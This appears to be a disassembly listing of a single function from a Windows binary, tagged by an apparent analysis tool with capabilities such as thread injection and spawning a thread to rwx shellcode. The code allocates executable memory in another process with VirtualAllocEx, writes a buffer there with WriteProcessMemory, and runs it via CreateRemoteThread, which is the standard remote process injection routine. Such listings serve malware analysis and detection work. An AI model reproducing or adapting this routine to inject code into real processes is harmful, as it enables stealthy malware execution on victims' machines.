Function at 0x415350
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3f91
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x52610c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x40
push 0x1000
push 0x1000
push 0
push esi
mov byte [ebp - 0x29], 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x41545d
sub esp, 8
lea ecx, [ebp - 0xe0]
call fcn.00404d30
mov edx, str._VirtualAllocEx_Failed
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xd0]
call fcn.004060e0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe0]
call fcn.00404c20
mov esi, eax
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0x10
jb 0x4153e7
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x415414
push 0xf0
call fcn.004a0565
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00404270
mov byte [ebp - 4], 1
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.004048b0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x415433
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004099a0
lea ecx, [ebp - 0x78]
call fcn.00404c40
lea ecx, [ebp - 0x78]
mov dword [ebp - 4], 3
push ecx
mov dword [ebp - 0x78], vtable.std::ios_base.0
call fcn.0049d027
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x415628
push 0
push 0x1000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x415536
sub esp, 8
lea ecx, [ebp - 0x190]
call fcn.00404d30
mov edx, str._WriteProcessMemory_Failed
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x180]
call fcn.004060e0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x190]
call fcn.00404c20
mov esi, eax
mov byte [ebp - 4], 5
cmp dword [esi + 0x14], 0x10
jb 0x4154b7
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x4154e4
push 0xf0
call fcn.004a0565
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00404270
mov byte [ebp - 4], 5
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.004048b0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x415503
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004099a0
lea ecx, [ebp - 0x128]
call fcn.00404c40
lea eax, [ebp - 0x128]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0049d027
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x415628
push 0
push 0
push edi
push dword [ebp - 0x30]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x415611
sub esp, 8
lea ecx, [ebp - 0x240]
call fcn.00404d30
mov edx, str._CreateRemoteThread_Failed
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x230]
call fcn.004060e0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x240]
call fcn.00404c20
mov esi, eax
mov byte [ebp - 4], 9
cmp dword [esi + 0x14], 0x10
jb 0x415595
mov esi, dword [esi]
mov eax, dword [0x52e1c0]
test eax, eax
jne 0x4155c2
push 0xf0
call fcn.004a0565
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.00404270
mov byte [ebp - 4], 9
mov dword [0x52e1c0], eax
push esi
push 4
mov ecx, eax
call fcn.004048b0
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4155e1
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004099a0
lea ecx, [ebp - 0x1d8]
call fcn.00404c40
lea eax, [ebp - 0x1d8]
mov dword [ebp - 4], 0xb
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0049d027
mov al, byte [ebp - 0x29]
add esp, 4
jmp 0x415628
push 0x3e8
push esi
mov bl, 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a0535
mov esp, ebp
pop ebp
ret